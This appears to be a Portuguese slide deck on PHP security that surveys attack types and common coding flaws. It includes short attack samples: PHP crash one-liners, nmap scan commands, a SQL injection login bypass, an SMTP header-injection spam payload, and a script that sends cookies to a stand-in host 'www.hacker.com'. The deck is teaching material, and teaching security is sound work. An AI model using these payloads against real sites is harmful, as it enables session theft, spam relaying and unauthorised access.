Upload
ricardophp
View
2.334
Download
1
Embed Size (px)
DESCRIPTION
Ataques, defesas e contra-medidas para assegurar aplicações em PHP
Citation preview
PHP SecurityRicardo Striquer Soares (ricardophp)programabrasil.blogspot.com
Tecnicas de ataquesSpam / Phising ScamExploits / BackdoorsBotnetsPackage SniffingScanning / Port scanningSocial EngineringSpywares / Keylogger / ScreenloggerDoS / DDoS DNS PoisoningBrute Force
http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
Spam
QUT researcher Mohammed AlZomaiisi.qut.edu.au (Australia)
http://www.sciencedaily.com/releases/2007/11/071107091540.htm
"It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful."
Spywares, Keylogger and Screenlogger
http://en.wikipedia.org/wiki/Spyware
Botnetshttp://en.wikipedia.org/wiki/Botnets
Brute Force
http://en.wikipedia.org/wiki/Brute_force_attack
while ( ! ( succeed = try() ) );
Exploits and Bugs
http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
php -r 'gettext(str_repeat("A",8476509));'
(v5.2.5)
$a=str_repeat("A", 65535);$b=1;$c=str_repeat("A", 65535);chunk_split($a,$b,$c);(v5.2.1)
Com tudo isto ...Com tudo isto ...
Scanning and Port scanningnmap -vsSnmap -vP0 (zero)nmap -vsV (exemplo de resultado abaixo)
PORT STATE SERVICE VERSION21/tcp open ftp vsFTPd 2.0.422/tcp open ssh OpenSSH 4.2p1 (protocol 2.0)25/tcp open smtp qmail smtpd80/tcp open http Apache httpd 1.3.34 ((Unix) PHP/4.4.2)
http://en.wikipedia.org/wiki/Nmap
SocialEngineering
http://en.wikipedia.org/wiki/Social_engineering_%28security%29
“Estou retornando um chamado de suporte técnico e ...”
“Estou fazendo uma pesquisa de satisfação ...”
DNS Poisoning
http://en.wikipedia.org/wiki/Dns_poisoning
DoS / DDoSDenial of Service / Distributed DoS
TécnicasICMP Floods => www.powertech.no/smurf Teardrop => OS UpgradePear-to-peer => PI*Application level floods => PI*Nuke => OS Upgrade
http://en.wikipedia.org/wiki/Denial-of-service_attack
Direções
www.securityfocus.com
thedailywtf.com
www.istf.com.br
www.owasp.org
Notícias de ontem ...
Apple corrige 45 falhas no Mac OS Xhttp://info.abril.com.br/aberto/infonews/032007/14032007-10.shl
Cavalo-de-tróia rouba dados para venda na webhttp://info.abril.com.br/aberto/infonews/032007/22032007-10.shl
Mozilla corrige nova falha no Firefoxhttp://info.abril.com.br/aberto/infonews/032007/21032007-24.shl
Falha no IE7 facilita ataques de phishing http://info.abril.com.br/aberto/infonews/032007/15032007-8.shl
Oito em cada dez sites de internet são
inseguros.
Existia uma história de quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...
“... Havia um importante trabalho para ser feito e Todomundo tinha certeza que
Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando
Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa
que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o
havia feito. ...”
... Ao fim Todomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito!
Texto do Escritório de Segurança do Departamento de Comercio Norte Americano
Segurança é um fator cultural, é um dever, é responsabilidade de todos!
O que deve um parceiro de hospedagem fazer?Controle de acesso
Politica de atualização
Utilizar SPF (Sender Police Framework)
IDS (Intrusion Detection System)
http://www.antispam.br/admin/spf/http://www.rnp.br/newsgen/9909/ids.html
Projetos interessantes- Google code search Encontrar falhas em sistemas open source
- Hardened Linux / OpenBSD Identificar padrões de configurações
- Hardened PHP Implementar
- GreenSQL Implementar http://code.google.com/
http://hardenedlinux.sourceforge.net/ http://www.hardened-php.net/ http://www.greensql.net/
O que nós programadores podemos fazer?
Problemas de códigoInjectionsSession HijackingXSSCSRF ou XSRF
InjectionsO que é um injection?
Injections mais populares: SQL e SMTP
http://en.wikipedia.org/wiki/Code_injection http://en.wikipedia.org/wiki/SQL_injection
Injections - SQL (1/3)$db = new db();
$db->SQL = 'SELECT * FROM userWHERE login=”'.$_GET[“login”].'”;
';
$db->Execute();
$_GET[“login”] = “mayke”;
Injections - SQL (2/3)$db = new db();
$db->SQL = 'SELECT * FROM userWHERE login=”'.$_GET[“login”].'”;
';
$db->Execute();
$_GET[“login”] = “N\” OR TRUE
OR login=\”NONE”;
Injections - SQL (3/3)If ($db->QuantidadeResultados) {
echo “Deu certo!”;}
If ($db->QuantidadeResultados) {$db->SQL = '
/* Novo comando com outro imput */';
}
Injections - SMTP (1/4)
mail( $_POST[“Para”],$_POST[“Assunto”],$_POST[“Mensagem”
);
$_POST[“Para”] = “[email protected]”;
$_POST[“Assunto”] = “Ataque de spammers”;
$_POST[“Mensagem”] = “Atacaram nosso site!”;
01 Dominio destino: tario.com02 Identificando MTAs disponiveis03 Servidor selecionado: mx.tario.com04 Conexao socket estabelecida!05 R: 220 mx01.tario.com ESMTP06 S: 35 bytes07 T: 0.41055202484131 sec08 09 W: EHLO lucremais.com10 S: 21 bytes11 R: 250-mx01.tario.com12 S: 29 bytes13 R: 250-PIPELINING14 S: 14 bytes15 R: 250-8BITMIME16 S: 12 bytes17 R: 250-SIZE 3000000018 S: 17 bytes19 R: 250 AUTH LOGIN PLAIN CRAM-MD520 S: 29 bytes21 T: 0.053061962127686 sec2223 W: MAIL FROM: <[email protected]>24 S: 28 bytes25 R: 250 ok26 S: 6 bytes27 T: 0.81833100318909 sec28 29 W: RCPT TO: <[email protected]>30 S: 36 bytes31 R: 250 ok32 S: 6 bytes33 T: 0.043802976608276 sec
34 W: DATA35 S: 4 bytes36 R: 354 go ahead37 S: 12 bytes38 T: 0.082557916641235 sec39 40 W: MIME-Version: 1.041 X-SenderEngineVersion: 1.042 X-SenderEngineName: Ideias Pontual - iMail43 Return-path: NomeFrom <[email protected]>44 Content-Type: text/plain;45 charset=ISO-8859-146 Reply-to: NomeFrom <[email protected]>47 Date: Sat, 21 Jul 2007 13:53:15 -030048 From: NomeFrom <[email protected]>49 To: NomeTo <[email protected]>50 Subject: Teste de envio texto!51 52 Teste53 .54 S: 379 bytes55 R: 250 ok 1185036797 qp 3196856 S: 26 bytes57 T: 0.20024585723877 sec5859 W: QUIT60 S: 4 bytes61 R: 221 mx01.tario.com62 S: 29 bytes63 T: 0.044206857681274 sec64 65 Tempo total de envio: 1.6655600070953 sec
W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura
Injections - SMTP (2/4)
mail( $_POST[“Para”],$_POST[“Assunto”],$_POST[“Mensagem”
);
$_POST[“Para”] = “[email protected]%0ASubject:Mwahahaha%0ABcc:[email protected]%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”;
$_POST[“Assunto”] = “Ataque de spammers”;
$_POST[“Mensagem”] = “Atacaram nosso site!”;
Injections - SMTP (3/4)
01: From: [email protected]: Subject: Ataque de spammers03: To: [email protected] 04: 05: Atacaram nosso site!06: 07: .
From: [email protected]: Ataque de spammersTo: [email protected]:MwahahahaBcc:[email protected]:multipart/mixed; boundary=frog;--frogContent-Type:text/html
<b>HTML Message.</b>
--frog--Content-Type:text/html;name=Security.html;Content-Transfer-Encoding:8bitContent-Disposition: attachment
<u>HTML File</u>
--frog--
Atacaram nosso site!
.
Injections - SMTP (4/4)
Session Hijacking
Session fixation (bookmark)
Sedejacking (sniffing)
XSS e CSRF
http://en.wikipedia.org/wiki/Session_hijacking
XSS
$_POST[“msg'] = '<h4><font color=red>Este site foi hackeado!</font></h4>'
Cross Site Scripting
Também referenciado como CSS
http://en.wikipedia.org/wiki/Cross_site_scripting
CSRF (ou XSRF)
<script> window.location= 'http://www.hacker.com?' + document.cookie</script>
Cross Site Request Forgering
http://en.wikipedia.org/wiki/Cross-site_request_forgery
* I M P O R T A N T E *$_GET
$_POST
$_SERVER
$_FILES
$_ENV
$_COOKIES
Segurança é um fator cultural, é um dever, é responsabilidade de todos!
Fim!
Agradecimentos
ProPHPTempo Realidéias.ual
Sites úteis
www.php.net/security www.php-security.orgblog.php-security.orgphpsec.org www.phpsecure.infoprogramabrasil.blogspot.com